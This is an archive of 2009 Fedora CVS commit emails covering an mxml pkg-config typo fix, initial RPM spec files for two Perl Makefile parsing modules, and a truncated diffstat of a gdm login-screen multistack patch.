Subject: rpms/mxml/F-11 mxml-pkgconfig.patch,NONE,1.1 mxml.spec,1.9,1.10
Message-ID: <20091029033959.B9C9F11C008B@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/mxml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14130

Modified Files:
	mxml.spec 
Added Files:
	mxml-pkgconfig.patch 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai


mxml-pkgconfig.patch:
 mxml.pc.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mxml-pkgconfig.patch ---
--- mxml.pc.in.BAD      2009-06-02 01:34:38.246231737 +0100
+++ mxml.pc.in  2009-06-02 01:35:33.450207895 +0100
@@ -6,5 +6,5 @@
 Name: Mini-XML
 Description: Lightweight XML support library
 Version: @VERSION@
-Libs: @PC_LIBS@ @PHTREAD_LIBS@
+Libs: @PC_LIBS@ @PTHREAD_LIBS@
 Cflags: @PC_CFLAGS@ @PTHREAD_FLAGS@


Index: mxml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mxml/F-11/mxml.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- mxml.spec	26 Feb 2009 03:32:05 -0000	1.9
+++ mxml.spec	29 Oct 2009 03:39:59 -0000	1.10
@@ -1,12 +1,14 @@
 Summary:      Miniature XML development library
 Name:         mxml
 Version:      2.5
-Release:      3%{?dist}
+Release:      5%{?dist}
 License:      LGPLv2+
 Group:        System Environment/Libraries
 URL:          http://www.easysw.com/~mike/mxml/
 Source0:      http://ftp.easysw.com/pub/mxml/%{version}/mxml-%{version}.tar.gz
 Patch0:       mxml-no-rpath.patch
+# Fix the typo in .pc file. Already fixed in upstream trunk
+Patch1:       mxml-pkgconfig.patch
 BuildRoot:    %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # This is requires because we patch configure.in.
@@ -30,6 +32,7 @@ applications.
 %prep
 %setup -q
 %patch0 -p0
+%patch1 -p0 -b .pthread
 
 %build
 # Run autoconf since we patched configure.in.
@@ -74,6 +77,12 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/mxml.pc
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
+- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 
@@ -108,7 +117,7 @@ rm -rf %{buildroot}
 - Fix License (LGPL, not GPL).
 - Move programming documentation to devel package.
 - Build shared library, and no static library.
-- Add %post(un).
+- Add %%post(un).
 - Remove rpath with mxml-no-rpath.patch.
 - First Fedora Extras build.
 



From oget at fedoraproject.org  Thu Oct 29 03:40:42 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Thu, 29 Oct 2009 03:40:42 +0000 (UTC)
Subject: rpms/mxml/F-10 mxml-pkgconfig.patch,NONE,1.1 mxml.spec,1.8,1.9
Message-ID: <20091029034042.15FAD11C0380@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/mxml/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14418

Modified Files:
	mxml.spec 
Added Files:
	mxml-pkgconfig.patch 
Log Message:
* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai


mxml-pkgconfig.patch:
 mxml.pc.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mxml-pkgconfig.patch ---
--- mxml.pc.in.BAD      2009-06-02 01:34:38.246231737 +0100
+++ mxml.pc.in  2009-06-02 01:35:33.450207895 +0100
@@ -6,5 +6,5 @@
 Name: Mini-XML
 Description: Lightweight XML support library
 Version: @VERSION@
-Libs: @PC_LIBS@ @PHTREAD_LIBS@
+Libs: @PC_LIBS@ @PTHREAD_LIBS@
 Cflags: @PC_CFLAGS@ @PTHREAD_FLAGS@


Index: mxml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mxml/F-10/mxml.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- mxml.spec	11 Aug 2008 16:06:00 -0000	1.8
+++ mxml.spec	29 Oct 2009 03:40:41 -0000	1.9
@@ -1,12 +1,14 @@
 Summary:      Miniature XML development library
 Name:         mxml
 Version:      2.5
-Release:      2%{?dist}
+Release:      5%{?dist}
 License:      LGPLv2+
 Group:        System Environment/Libraries
 URL:          http://www.easysw.com/~mike/mxml/
 Source0:      http://ftp.easysw.com/pub/mxml/%{version}/mxml-%{version}.tar.gz
 Patch0:       mxml-no-rpath.patch
+# Fix the typo in .pc file. Already fixed in upstream trunk
+Patch1:       mxml-pkgconfig.patch
 BuildRoot:    %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # This is requires because we patch configure.in.
@@ -30,6 +32,7 @@ applications.
 %prep
 %setup -q
 %patch0 -p0
+%patch1 -p0 -b .pthread
 
 %build
 # Run autoconf since we patched configure.in.
@@ -74,6 +77,15 @@ rm -rf %{buildroot}
 %{_libdir}/pkgconfig/mxml.pc
 
 %changelog
+* Wed Oct 28 2009 Orcan Ogetbil <oget [DOT] fedora [AT] gmail [DOT] com> - 2.5-5
+- Fix typo in the .pc file (RHBZ#503628). Patch by Robert Szalai
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.5-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Mon Aug 11 2008 Tom "spot" Callaway <tcallawa at redhat.com> 2.5-2
 - fix license tag
 
@@ -105,7 +117,7 @@ rm -rf %{buildroot}
 - Fix License (LGPL, not GPL).
 - Move programming documentation to devel package.
 - Build shared library, and no static library.
-- Add %post(un).
+- Add %%post(un).
 - Remove rpath with mxml-no-rpath.patch.
 - First Fedora Extras build.
 



From ryanlerch at fedoraproject.org  Thu Oct 29 03:49:14 2009
From: ryanlerch at fedoraproject.org (ryan lerch)
Date: Thu, 29 Oct 2009 03:49:14 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/F-10 import.log, NONE,
	1.1 perl-Makefile-DOM.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029034914.2A12A11C008B@cvs1.fedora.phx.redhat.com>

Author: ryanlerch

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16716/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Makefile-DOM.spec 
Log Message:
Initial RPM



--- NEW FILE import.log ---
perl-Makefile-DOM-0_004-2_fc11:F-10:perl-Makefile-DOM-0.004-2.fc11.src.rpm:1256788300


--- NEW FILE perl-Makefile-DOM.spec ---
Name:           perl-Makefile-DOM
Version:        0.004
Release:        2%{?dist}
Summary:        Simple DOM parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-DOM/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-DOM-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Clone) >= 0.18
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(List::MoreUtils) >= 0.21
BuildRequires:  perl(Params::Util) >= 0.22
BuildRequires:  perl(CPAN)
BuildRequires:  perl(ExtUtils::Embed)
BuildRequires:  perl(Test::Harness)
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Test::Simple)
Requires:       perl(Clone) >= 0.18
Requires:       perl(List::MoreUtils) >= 0.21
Requires:       perl(Params::Util) >= 0.22
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Provides:       perl(Makefile::DOM) = %{version}

%description
This libary can serve as an advanced lexer for (GNU) makefiles. It parses
makefiles as "documents" and the parsing is lossless. The results are data
structures similar to DOM trees. The DOM trees hold every single bit of the
information in the original input files, including white spaces, blank
lines and makefile comments. That means it's possible to reproduce the
original makefiles from the DOM trees. In addition, each node of the DOM
trees is modifiable and so is the whole tree, just like the PPI module used
for Perl source parsing and the HTML::TreeBuilder module used for parsing
HTML source.

%prep
%setup -q -n Makefile-DOM-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README TODO
%{perl_vendorlib}/*
%{_mandir}/man3/*

%changelog
* Tue Sep 08 2009 Ryan Lerch <rlerch at redhat.com> 0.004-2
- Added BuildRequires and Provides lines to the specfile, as per the Fedora Perl Packaging Guidelines. 
* Mon Sep 07 2009 Ryan Lerch <rlerch at redhat.com> 0.004-1
- Specfile autogenerated by cpanspec 1.78.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:05:59 -0000	1.1
+++ .cvsignore	29 Oct 2009 03:49:12 -0000	1.2
@@ -0,0 +1 @@
+Makefile-DOM-0.004.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:05:59 -0000	1.1
+++ sources	29 Oct 2009 03:49:13 -0000	1.2
@@ -0,0 +1 @@
+2860a83edc7396077716c63f30c12446  Makefile-DOM-0.004.tar.gz



From ryanlerch at fedoraproject.org  Thu Oct 29 04:05:55 2009
From: ryanlerch at fedoraproject.org (ryan lerch)
Date: Thu, 29 Oct 2009 04:05:55 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/F-11 import.log, NONE,
	1.1 perl-Makefile-DOM.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029040555.A6BD311C00EB@cvs1.fedora.phx.redhat.com>

Author: ryanlerch

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4951/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Makefile-DOM.spec 
Log Message:
Initial RPM



--- NEW FILE import.log ---
perl-Makefile-DOM-0_004-2_fc11:F-11:perl-Makefile-DOM-0.004-2.fc11.src.rpm:1256789254


--- NEW FILE perl-Makefile-DOM.spec ---
Name:           perl-Makefile-DOM
Version:        0.004
Release:        2%{?dist}
Summary:        Simple DOM parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-DOM/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-DOM-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Clone) >= 0.18
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(List::MoreUtils) >= 0.21
BuildRequires:  perl(Params::Util) >= 0.22
BuildRequires:  perl(CPAN)
BuildRequires:  perl(ExtUtils::Embed)
BuildRequires:  perl(Test::Harness)
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Test::Simple)
Requires:       perl(Clone) >= 0.18
Requires:       perl(List::MoreUtils) >= 0.21
Requires:       perl(Params::Util) >= 0.22
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Provides:       perl(Makefile::DOM) = %{version}

%description
This libary can serve as an advanced lexer for (GNU) makefiles. It parses
makefiles as "documents" and the parsing is lossless. The results are data
structures similar to DOM trees. The DOM trees hold every single bit of the
information in the original input files, including white spaces, blank
lines and makefile comments. That means it's possible to reproduce the
original makefiles from the DOM trees. In addition, each node of the DOM
trees is modifiable and so is the whole tree, just like the PPI module used
for Perl source parsing and the HTML::TreeBuilder module used for parsing
HTML source.

%prep
%setup -q -n Makefile-DOM-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README TODO
%{perl_vendorlib}/*
%{_mandir}/man3/*

%changelog
* Tue Sep 08 2009 Ryan Lerch <rlerch at redhat.com> 0.004-2
- Added BuildRequires and Provides lines to the specfile, as per the Fedora Perl Packaging Guidelines. 
* Mon Sep 07 2009 Ryan Lerch <rlerch at redhat.com> 0.004-1
- Specfile autogenerated by cpanspec 1.78.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:05:59 -0000	1.1
+++ .cvsignore	29 Oct 2009 04:05:53 -0000	1.2
@@ -0,0 +1 @@
+Makefile-DOM-0.004.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:05:59 -0000	1.1
+++ sources	29 Oct 2009 04:05:54 -0000	1.2
@@ -0,0 +1 @@
+2860a83edc7396077716c63f30c12446  Makefile-DOM-0.004.tar.gz



From sradvan at fedoraproject.org  Thu Oct 29 04:12:04 2009
From: sradvan at fedoraproject.org (sradvan)
Date: Thu, 29 Oct 2009 04:12:04 +0000 (UTC)
Subject: rpms/perl-Makefile-Parser/devel import.log, NONE,
	1.1 perl-Makefile-Parser.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029041204.4C39D11C00EB@cvs1.fedora.phx.redhat.com>

Author: sradvan

Update of /cvs/pkgs/rpms/perl-Makefile-Parser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14604/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Makefile-Parser.spec 
Log Message:
Initial RPM



--- NEW FILE import.log ---
perl-Makefile-Parser-0_211-1_fc11:HEAD:perl-Makefile-Parser-0.211-1.fc11.src.rpm:1256789350


--- NEW FILE perl-Makefile-Parser.spec ---
Name:           perl-Makefile-Parser
Version:        0.211
Release:        1%{?dist}
Summary:        Simple parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-Parser/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-Parser-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Class::Accessor::Fast)
BuildRequires:  perl(Class::Trigger) >= 0.13
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(File::Slurp)
BuildRequires:  perl(IPC::Run3) >= 0.036
BuildRequires:  perl(List::MoreUtils)
BuildRequires:  perl(Makefile::DOM) >= 0.003
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Text::Balanced)
Requires:       perl(Class::Accessor::Fast)
Requires:       perl(Class::Trigger) >= 0.13
Requires:       perl(File::Slurp)
Requires:       perl(List::MoreUtils)
Requires:       perl(Makefile::DOM) >= 0.003
Requires:       perl(Text::Balanced)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
This is a simple parser for Makefiles. At this very early stage, the parser
only supports a limited set of features, so it may not recognize most of
the advanced features provided by certain make tools like GNU make. Its
initial purpose is to provide basic support for another module named
Makefile::GraphViz, which is aimed to render the building process specified
by a Makefile using the amazing GraphViz library. The Make module is not
satisfactory for this purpose, so I decided to build one of my own.

%prep
%setup -q -n Makefile-Parser-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README
%{perl_vendorlib}/*
%{_mandir}/man3/*
%{_mandir}/man1/*
%{_bindir}/makesimple
%{_bindir}/pgmake-db
%{_bindir}/plmake

%changelog
* Mon Sep 07 2009 Scott Radvan <sradvan at redhat.com> 0.211-1
- Specfile autogenerated by cpanspec 1.78.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 02:41:40 -0000	1.1
+++ .cvsignore	29 Oct 2009 04:12:03 -0000	1.2
@@ -0,0 +1 @@
+Makefile-Parser-0.211.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-Parser/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 02:41:40 -0000	1.1
+++ sources	29 Oct 2009 04:12:04 -0000	1.2
@@ -0,0 +1 @@
+61498e0db530090d84e757db0824fbdc  Makefile-Parser-0.211.tar.gz



From ryanlerch at fedoraproject.org  Thu Oct 29 04:12:46 2009
From: ryanlerch at fedoraproject.org (ryan lerch)
Date: Thu, 29 Oct 2009 04:12:46 +0000 (UTC)
Subject: rpms/perl-Makefile-DOM/F-12 import.log, NONE,
	1.1 perl-Makefile-DOM.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091029041246.3721C11C00EB@cvs1.fedora.phx.redhat.com>

Author: ryanlerch

Update of /cvs/pkgs/rpms/perl-Makefile-DOM/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15832/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Makefile-DOM.spec 
Log Message:
Initial RPM



--- NEW FILE import.log ---
perl-Makefile-DOM-0_004-2_fc11:F-12:perl-Makefile-DOM-0.004-2.fc11.src.rpm:1256789719


--- NEW FILE perl-Makefile-DOM.spec ---
Name:           perl-Makefile-DOM
Version:        0.004
Release:        2%{?dist}
Summary:        Simple DOM parser for Makefiles
License:        GPL+ or Artistic
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Makefile-DOM/
Source0:        http://www.cpan.org/authors/id/A/AG/AGENT/Makefile-DOM-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl >= 1:5.6.1
BuildRequires:  perl(Clone) >= 0.18
BuildRequires:  perl(ExtUtils::MakeMaker)
BuildRequires:  perl(List::MoreUtils) >= 0.21
BuildRequires:  perl(Params::Util) >= 0.22
BuildRequires:  perl(CPAN)
BuildRequires:  perl(ExtUtils::Embed)
BuildRequires:  perl(Test::Harness)
BuildRequires:  perl(Test::More)
BuildRequires:  perl(Test::Simple)
Requires:       perl(Clone) >= 0.18
Requires:       perl(List::MoreUtils) >= 0.21
Requires:       perl(Params::Util) >= 0.22
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
Provides:       perl(Makefile::DOM) = %{version}

%description
This libary can serve as an advanced lexer for (GNU) makefiles. It parses
makefiles as "documents" and the parsing is lossless. The results are data
structures similar to DOM trees. The DOM trees hold every single bit of the
information in the original input files, including white spaces, blank
lines and makefile comments. That means it's possible to reproduce the
original makefiles from the DOM trees. In addition, each node of the DOM
trees is modifiable and so is the whole tree, just like the PPI module used
for Perl source parsing and the HTML::TreeBuilder module used for parsing
HTML source.

%prep
%setup -q -n Makefile-DOM-%{version}

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%check
make test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc Changes README TODO
%{perl_vendorlib}/*
%{_mandir}/man3/*

%changelog
* Tue Sep 08 2009 Ryan Lerch <rlerch at redhat.com> 0.004-2
- Added BuildRequires and Provides lines to the specfile, as per the Fedora Perl Packaging Guidelines. 
* Mon Sep 07 2009 Ryan Lerch <rlerch at redhat.com> 0.004-1
- Specfile autogenerated by cpanspec 1.78.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Oct 2009 00:05:59 -0000	1.1
+++ .cvsignore	29 Oct 2009 04:12:46 -0000	1.2
@@ -0,0 +1 @@
+Makefile-DOM-0.004.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Makefile-DOM/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Oct 2009 00:05:59 -0000	1.1
+++ sources	29 Oct 2009 04:12:46 -0000	1.2
@@ -0,0 +1 @@
+2860a83edc7396077716c63f30c12446  Makefile-DOM-0.004.tar.gz



From rstrode at fedoraproject.org  Thu Oct 29 04:58:10 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Thu, 29 Oct 2009 04:58:10 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.9,1.10 gdm.spec,1.511,1.512
Message-ID: <20091029045810.3EDBD11C00E6@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8628

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- Don't show fingerprint task button unless fingerprint is
  enabled
- Don't show smartcard task button and list item unless
  pcscd is running.


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session-worker.h                                        |    2 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |    2 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
 configure.ac                                                         |   15 
 daemon/gdm-factory-slave.c                                           |  103 
 daemon/gdm-greeter-server.c                                          |  195 +
 daemon/gdm-greeter-server.h                                          |   21 
 daemon/gdm-product-slave.c                                           |  263 +
 daemon/gdm-session-direct.c                                          | 1150 +++++---
 daemon/gdm-session-private.h                                         |   31 
 daemon/gdm-session-relay.c                                           |  223 +
 daemon/gdm-session-worker-job.c                                      |   73 
 daemon/gdm-session-worker-job.h                                      |    6 
 daemon/gdm-session-worker.c                                          |   61 
 daemon/gdm-session.c                                                 |  250 +
 daemon/gdm-session.h                                                 |   62 
 daemon/gdm-simple-slave.c                                            |  241 +
 daemon/test-session.c                                                |   22 
 gui/simple-greeter/Makefile.am                                       |   15 
 gui/simple-greeter/gdm-chooser-widget.c                              |    9 
 gui/simple-greeter/gdm-chooser-widget.h                              |    3 
 gui/simple-greeter/gdm-greeter-client.c                              |  229 +
 gui/simple-greeter/gdm-greeter-client.h                              |   21 
 gui/simple-greeter/gdm-greeter-login-window.c                        | 1155 ++++++--
